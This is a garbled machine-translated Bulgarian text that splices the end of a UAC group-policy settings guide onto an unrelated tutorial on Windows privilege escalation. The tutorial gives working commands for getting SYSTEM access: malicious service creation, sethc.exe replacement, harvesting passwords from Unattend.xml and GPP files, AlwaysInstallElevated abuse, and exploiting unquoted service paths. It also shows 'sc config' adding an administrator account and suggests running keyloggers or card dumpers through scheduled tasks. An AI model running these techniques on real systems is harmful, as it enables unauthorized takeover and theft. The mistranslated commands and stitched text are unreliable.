;Деактивирайте "EnableSecureUIAPaths"=dword:00000000

Повишаване на привилегии само за подписани и проверени изпълними файлове

Тази настройка на груповата политика за контрол на потребителските акаунти ви позволява да определите дали интерактивните подписи на приложения трябва да бъдат удостоверени спрямо инфраструктурата публичен ключ(Public key инфраструктура PKI), които изискват повишени привилегии. Целта на PKI е да определя политиката за издаване на цифрови сертификати, тяхното издаване и отнемане и съхраняване на информация, необходима за последваща проверка на коректността на сертификатите. Приложенията, които поддържат PKI включват: Защитено електронна поща, платежни протоколи, електронни чекове, електронен обмен на информация, защита на данните в IP мрежи, електронни формуляри и документи с електронен цифров подпис. Ако тази проверка е активирана, програмите инициират проверка на пътя на сертификата. Стойността по подразбиране на тази настройка е Disabled.

Възможни стойности на параметрите:

  • Включени. Принуждава проверката на пътя на PKI сертификата да бъде инициирана преди изпълнение този файл. Най-вече тази настройкаизползвани в организации с домейн, ако администраторът е поставил PKI сертификати в магазина на надеждни издатели.
  • хора с увреждания. Когато тази опция е зададена, контролът на потребителските акаунти не инициира проверка на веригата за проверка на PKI сертификат, преди да разреши изпълнението на даден изпълним файл.

Текущи настройки на правилата с помощта на регистъра:

;Деактивирайте "ValidateAdminCodeSignatures"=dword:00000000

Ако записът във файл или регистър е неуспешен, виртуализирайте до местоположението на потребителя

Тази настройка контролира дали неуспешните записи на приложения се пренасочват към конкретни местоположения в регистъра и файловата система. Когато тази настройка е активирана, за наследени приложения, които се опитват да четат или записват информация, използвайки защитени области на системата, Контролът на потребителските акаунти виртуализира регистъра и файловата система. Благодарение на тази настройка UAC ви позволява да намалите опасността от наследени приложения, които се изпълняват като администратор и записват данни в папката %ProgramFiles%, %Windir% по време на изпълнение; %Windir%\system32 или към ключа на системния регистър HKLM\Software\. Стойността по подразбиране е активирана.

Възможни стойности на параметрите:

  • Включени. Грешките при запис на приложение се пренасочват по време на изпълнение към дефинирани от потребителя местоположения във файловата система и регистъра.
  • хора с увреждания. Приложенията, които записват данни в защитени местоположения, ще се провалят и няма да се изпълнят.

Текущи настройки на правилата с помощта на регистъра:

;Деактивирайте "EnableVirtualization"=dword:00000000

Разрешете на приложенията на UIAccess да изискват повишаване, без да използват защитения работен плот

Това нов параметърполитика, която се появи в операционните системи Windows 7 и Windows сървър 2008 R2, контролира дали приложенията на UIAccess могат автоматично да деактивират защитения работен плот за заявки за повишаване, използвани от стандартен потребител. Стойността по подразбиране е деактивирана.

Възможни стойности на параметрите:

  • Включени. Когато тази настройка е избрана, програмите на UIAccess, включително дистанционното Windows помощник, автоматично деактивирайте защитения работен плот за заявки за повишаване. Ако настройката на правилата „Контрол на потребителските акаунти: Превключване към защитен работен плот, когато бъдете подканени за повишаване“ е активирана, подканата се появява на интерактивния работен плот на потребителя, а не на защитения работен плот.
  • хора с увреждания. Когато е избрана тази опция, защитеният работен плот може да бъде деактивиран само от потребителя на интерактивния работен плот или чрез деактивиране на настройката на правилата „Контрол на потребителските акаунти: Превключване към защитен работен плот, когато бъдете подканени за повишаване“.

Текущи настройки на правилата с помощта на регистъра:

;Деактивирайте "EnableUIADesktopToggle"=dword:00000000

Режим на одобрение от администратор за вградения администраторски акаунт

Тази настройка определя дали Контролът на потребителските акаунти прилага режим на одобрение на администратор към вградения акаунт "администратор". Този вграден по подразбиране акаунт позволява на потребителя да влезе в режим на съвместимост с Windows XP, което му позволява да стартира всяко приложение с пълни администраторски права. По подразбиране тази настройка на правилата е деактивирана.

Възможни стойности на параметрите:

  • Включени. Когато изберете тази опция, вграденият администраторски акаунт ще използва режим на одобрение от администратор. В този случай всяка операция, която изисква повишаване на правата, ще бъде придружена от заявка за потвърждение на операцията.
  • хора с увреждания. Вграденият администраторски акаунт изпълнява всички приложения с пълни администраторски права.

Текущи настройки на правилата с помощта на регистъра:

;Деактивиране на "FilterAdministratorToken"=dword:00000000

Заключение

Тази статия говори за всички възможни настройкиуправление на потрбителския профил. Разглеждат се всички десет настройки на политиката за сигурност, които отговарят за всички възможни действия, свързани с UAC. В допълнение към настройването на контрола на потребителските акаунти с помощта на групови правила, се обсъждат и еквивалентните настройки на системния регистър.

Повишаването на привилегиите е може би една от ключовите точки, от които зависи сценарият за по-нататъшно пентестиране или атака. Много често всичко свършва на този етап, ако не е възможно да „разширите силите си“. Затова днес ще поговорим малко за начините, които позволяват на потребителя да увеличи привилегиите си не само на администратора, но и на системата.

Въведение

Ескалацията на привилегиите е малко по-различна в Windows и Linux. Въпреки факта, че и двете операционна системаносят обичайния брой уязвимости, изследователите отбелязват, че напълно закърпен Windows сървър е много по-често срещан от Linux сървър, който е актуализиран до най-новото състояние. В допълнение, времето за пускане на корекциите на Windows често е по-кратко, което прави увеличаването на привилегиите в Windows доста интересна и амбициозна задача. Именно на нея ще посветим нашата история.

Настроики

И така, какви възможности имаме да се издигнем в света на Windows? Първо, наскоро бяха открити достатъчно уязвимости, свързани с анализирането на шрифтове в ядрото на ОС, което прави процеса на ескалиране на привилегиите доста прост, ако имате подходящ експлойт под ръка. Ако използвате Metasploit, тогава само една команда е достатъчна, за да получите системна обвивка. Всичко това обаче вероятно ще работи успешно само ако системата не е напълно закърпена. Ако всички актуализации са инсталирани на машината, тогава, за разлика от Linux, няма да е възможно да се намерят двоични файлове на SUID и променливите на средата обикновено не се предават на услуги или процеси с по-високи привилегии. Какво ни остава като резултат?

От администратора до системата или това, което всеки знае

Обикновено, когато мислите за ескалиране на привилегии, методът, който веднага идва на ум, е използването на планировчика на задачи. В Windows можете да добавите задача с помощта на две помощни програми: at и schtasks. Вторият ще изпълни задачата от името на потребителя, който е добавил задачата, докато първият ще се изпълни от името на системата. Стандартен трик, за който вероятно сте чували, който ви позволява да стартирате конзолата със системни права:

В 13:01 /interactive cmd

Второто нещо, което идва на ум, е добавянето на услуга, която ще стартира необходимия файл / ще изпълни командата:

@echo off @break off title root Cls echo Създаване на услуга. sc create evil binpath= "cmd.exe /K start" type= own type= interact > nul 2>&1 echo Стартиране на услуга. sc start evil > nul 2>&1 echo Standing by... ping 127.0.0.1 -n 4 > nul 2>&1 echo Услуга за премахване. ехо. sc изтриване на зло > нула 2>&1

Третият метод е да замените системната помощна програма C:\windows\system32\sethc.exe с, например, cmd. Ако излезете след това и натиснете няколко пъти Клавиш Shift, тогава ще се появи конзола със системни права.

Що се отнася до автоматизираните методи, Metasploit и неговата getsystem веднага идват на ум. Алтернативен вариант е PsExec от Sysinternals (psexec -i -s -d cmd.exe).

Ще тръгнем по друг път

Всички изброени методи имат общ недостатък: Необходими са администраторски права. Това означава, че ескалираме привилегии от привилегирован акаунт. В повечето случаи, когато сте получили администраторски права, имате куп опции как да се издигнете още по-високо. Така че не е много трудна задача. Днес ще говорим за методи за ескалиране на привилегии, които не използват никакви 0day уязвимости, ако приемем, че имаме нормална система и акаунт на обикновен непривилегирован потребител.

Търсете пълномощия

Един от надеждните и стабилни начини за увеличаване на привилегиите и закрепване в системата е получаването на пароли на администратори или потребители с по-високи привилегии. И сега е време да си спомним за автоматизираната инсталация софтуер. Ако управлявате домейн, който включва голям парк от машини, определено не искате да отидете и да инсталирате софтуер на всяка от тях ръчно. И ще отнеме толкова много време, че няма да стигне за никакви други задачи. Затова се използват Unattended инсталации, които генерират файлове, съдържащи администраторски пароли в най-чистата им форма. Което е просто съкровище както за пентестърите, така и за нападателите.

Необслужвани инсталации

В случай на автоматизирана инсталация, файлът Unattended.xml, който е доста интересен за нас, остава на клиента, който обикновено се намира или в %WINDIR%\Panther\Unattend\ или в %WINDIR%\Panther\ и може съхранява паролата на администратора в ясен текст. От друга страна, за да получите този файл от сървъра, дори не се нуждаете от удостоверяване. Трябва само да намерите сървъра „Услуги за разполагане на Windows“. За да направите това, можете да използвате скрипта auxiliary/scanner/dcerpc/windows_deployment _services от Metasploit. И въпреки че Windows Deployment Services не го прави единствения начинизвършвайки автоматизирани инсталации, файлът Unattended.xml се счита за стандарт, така че откриването му може да се приравни с успех.

GPP

XML файловете с предпочитания за групови правила доста често съдържат набор от криптирани идентификационни данни, които могат да се използват за добавяне на нови потребители, създаване на споделяния и т.н. За щастие, методът на криптиране е документиран, така че можете лесно да получите пароли в тяхната чиста форма. Освен това екипът на Metasploit вече е направил всичко вместо вас - просто използвайте модула /post/windows/gather/credentials/gpp.rb. Ако се интересувате от подробности, цялата необходима информация е достъпна на тази връзка.

Права на потребителя

Много често повишаването на привилегиите е следствие от неправилно конфигурирани потребителски права. Например, когато потребител на домейн е локален администратор (или Power User) на хоста. Или когато потребителите на домейн (или членове на домейн групи) са локални администратори на всички хостове. В този случай наистина няма да се налага да правите нищо. Но такива опции не се появяват много често.

AlwaysInstallElevated

Понякога администраторите позволяват на обикновените потребители сами да инсталират програми, обикновено чрез следните ключове в системния регистър:

HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

HKCU\SOFTWARE\Policies\Microsoft\Window s\Installer\AlwaysInstallElevated

Те казват на системата, че всеки MSI файл трябва да бъде инсталиран с повишени привилегии (NT AUTHORITY\SYSTEM). Съответно, като използвате специално създаден файл, можете отново да извършвате действия от името на системата и да надграждате вашите привилегии.

Metasploit включва специален модул exploit/windows/local/always_install_elevated, който създава MSI файл със специален изпълним файл, вграден в него, който се извлича и изпълнява от инсталатора със системни привилегии. Веднъж изпълнен, MSI файлът прекъсва инсталацията (чрез извикване на специално създаден невалиден VBS), за да предотврати записването на действието в системата. Освен това, ако стартирате инсталацията с ключа /quiet, потребителят дори няма да види грешка.

Липсва автоматично стартиране

Често се случва системата да поддържа запис на файл, който трябва да се стартира автоматично, дори след като самият файл вече е потънал в забрава. Може би някоя услуга е премахната неправилно - няма изпълним файл, но записът в системния регистър остава и всеки път, когато стартирате, системата неуспешно се опитва да я стартира, запълвайки регистъра на събитията със съобщения за повреди. Тази ситуация може да се използва и за разширяване на правомощията ви. Първата стъпка е да намерите всички такива осиротели записи. Например с помощта на помощната програма autorunsc от Sysinternals.

Autorunsc.exe -a | findstr /n /R "Файлът\ не\ е открит"

След което, както се досещате, всичко, което остава, е по някакъв начин да подхлъзнете вашия кандидат на мястото на липсващия файл.

Магията на цитатите

Да, да, кавичките могат не само да изиграят жестока шега в SQL заявките, позволявайки инжектиране, но и да помогнат за повишаване на привилегиите. Проблемът е доста стар и е известен още от времето на NT. Въпросът е, че пътищата до изпълнимите файлове на някои услуги не са заобиколени от кавички (например ImagePath=C:\Program Files\Common Files\Network Associates\McShield\McShield.exe) и има интервали в път. В този случай, ако атакуващият създаде файл, който ще добави нови администратори към системата или ще извърши някои други действия, и го нарече C:\Program Files\common.exe, тогава при следващото стартиране на услугата, той ще бъде общ. exe, който ще бъде стартиран, а останалата част от пътя ще бъде взета като аргумент(и). Ясно е, че непривилегирован потребител няма да може да постави нищо в Program Files, но изпълнимият файл на услугата може да се намира в друга директория, тоест потребителят ще има възможност да плъзне своя собствен файл.

За да използвате тази техника, трябва да намерите уязвима услуга (която няма да използва кавички в пътя към своя двоичен файл). Това се прави по следния начин:

Услугата Wmic получава име, показвано име, пътека, начален режим |findstr /i "auto" |findstr /i /v "c: \windows\\" |findstr /i /v """

Вярно е, че на XP това ще изисква администраторски права, така че е по-добре да използвате следния метод там: вземете списък с услуги - sc query, след това погледнете информацията за всяка услуга - sc qc име на услугата.

Всичко по план

Друг механизъм, който може да помогне за повишаване на правата и обикновено се забравя, е планировчикът на задачи. Помощната програма schtasks ви позволява да присвоявате задачи на конкретни събития. Най-интересните за нас са ONIDLE, ONLOGON и ONSTART. Както подсказват имената, ONIDLE ще се изпълнява всеки път, когато компютърът е неактивен, ONLOGON и ONSTART - съответно когато потребителят влезе и когато системата стартира. Така на всяко от събитията може да се постави отделна задача. Например, когато системата стартира, копирайте някъде злонамерен двоичен файл/keylogger/... и го стартирайте. Когато потребителите влязат, стартирайте дъмпера кредитни карти. Накратко, всичко е ограничено само от вашето въображение и поставената задача.

Трикове с разрешения

Разрешенията за файлове обикновено са първата защита, която ни пречи да ескалираме нашите привилегии. Би било изкушаващо просто да пренапиша някои системен файл(например същият sethc.exe, споменат в самото начало на статията) и веднага да получите системни привилегии. Но всичко това са само мечти; всъщност имаме разрешение само да го четем, което не ни дава абсолютно нищо. Не бива обаче да висите носа си, защото с разрешителните също не всичко е толкова гладко - тук, както и навсякъде другаде, има клопки, познаването на които ви позволява да направите невъзможното възможно.

Една от системните директории, защитени с този механизъм, е особено интересна от гледна точка на повишаване на привилегиите - Program Files. На непривилегировани потребители е отказан достъп там. Въпреки това понякога се случва по време на инсталационния процес инсталаторите да задават неправилно разрешения за файлове, което води до предоставяне на пълен достъп на всички потребители до изпълними файлове. Какво следва от това - вече се досетихте.

Друго от ограниченията е, че обикновеният смъртен няма право да пише до корена системен диск. Въпреки това, например при XP, когато създавате нова директория в основата на диска, групата BUILTIN\Users получава разрешения FILE_APPEND_DATA и FILE_WRITE_DATA (дори ако собственикът на папката е администратор):

BUILTIN\Users:(OI)(CI)R BUILTIN\Users:(CI)(специален достъп:) FILE_APPEND_DATA BUILTIN\Users:(CI)(специален достъп:) FILE_WRITE_DATA

На „седемте“ се случва почти същото, само групата AUTHENTICATED USERS получава разрешение. Как това поведение може да се превърне в проблем? Просто някои приложения се инсталират извън защитени директории, което улеснява подмяната на техните изпълними файлове. Например, такъв инцидент се случи с Metasploit Framework в случай на неговата многопотребителска инсталация. Тази грешка беше коригирана във версия 3.5.2 и помощната програма се премести в Program Files.


Как да търсите такива директории/файлове

Намирането на директория с неправилни разрешения вече е половината от битката. Първо обаче трябва да го намерите. За да направите това, можете да използвате следните два инструмента: AccessChk и Cacls/ICacls. За да намерите „слаби“ директории с помощта на AccessChk, ще ви трябват следните команди:

Accesschk.exe -uwdqs потребители c:\ accesschk.exe -uwdqs „Удостоверени потребители“ c:\

За да търсите файлове със „слаби“ разрешения, използвайте следното:

Accesschk.exe -uwqs потребители c:\*.* accesschk.exe -uwqs „Удостоверени потребители“ c:\*.*

Същото може да се направи с помощта на Cacls/ICacls:

Cacls "c:\Program Files" /T | findstr потребители

Трикове с услуги

Друг вариант за придвижване нагоре в системата е да се възползвате от неправилни конфигурации и грешки в обслужването. Както показва практиката, не само файлове и папки, но и услуги, работещи в системата, могат да имат неправилни разрешения. За да ги откриете, можете да използвате помощната програма AccessChk от добре познатия Марк Русинович:

Accesschk.exe –uwcqv *

Ще бъде много насърчително да видите разрешението SERVICE_ALL_ACCESS за удостоверени потребители или опитни потребители. Но следното също може да се счита за голям успех:

  • SERVICE_CHANGE_CONFIG - можем да променим изпълнимия файл на услугата;
  • WRITE_DAC - разрешенията могат да се променят, което води до получаване на разрешението SERVICE_CHANGE_CONFIG;
  • WRITE_OWNER - можете да станете собственик и да промените разрешенията;
  • GENERIC_WRITE - наследява разрешенията SERVICE_CHANGE_CONFIG ;
  • GENERIC_ALL - наследява SERVICE_CHANGE_CONFIG разрешения.

Ако откриете, че едно (или повече) от тези разрешения са зададени за непривилегировани потребители, шансовете ви да ескалирате привилегиите си се увеличават драстично.

Как да увеличим?

Да приемем, че сте намерили подходяща услуга, време е да поработите върху нея. Конзолната помощна програма sc ще ви помогне с това. Като начало получаваме пълна информацияотносно услугата, от която се интересуваме, да кажем, че е upnphost:

Sc qc upnphost

Нека го конфигурираме с помощта на същата помощна програма:

Sc config vulnsrv binpath= "net user john hello /add && net localgroup Administrators john /add" type= interact sc config upnphost obj= “.\LocalSystem” password=“”

Както можете да видите, следващия път, когато услугата стартира, вместо нейния изпълним файл, ще бъде изпълнена командата net user john hello /add && net localgroup Administrators john /add, добавяйки нов потребител john с парола hello към системата. Всичко, което остава, е ръчно да рестартирате услугата:

Net stop upnphost net start upnphost

Това е цялата магия.

какъв е резултатът

Имало едно време прочетох статия в списание, която очертаваше основни техники за повишаване на привилегиите в Windows. Тогава не придавах голямо значение на това, но теорията се заби в главата ми и веднъж ми помогна много. Така че, надявам се, че ще намерите нещо ново за себе си в тази статия, което един ден ще ви помогне да преодолеете друга бариера.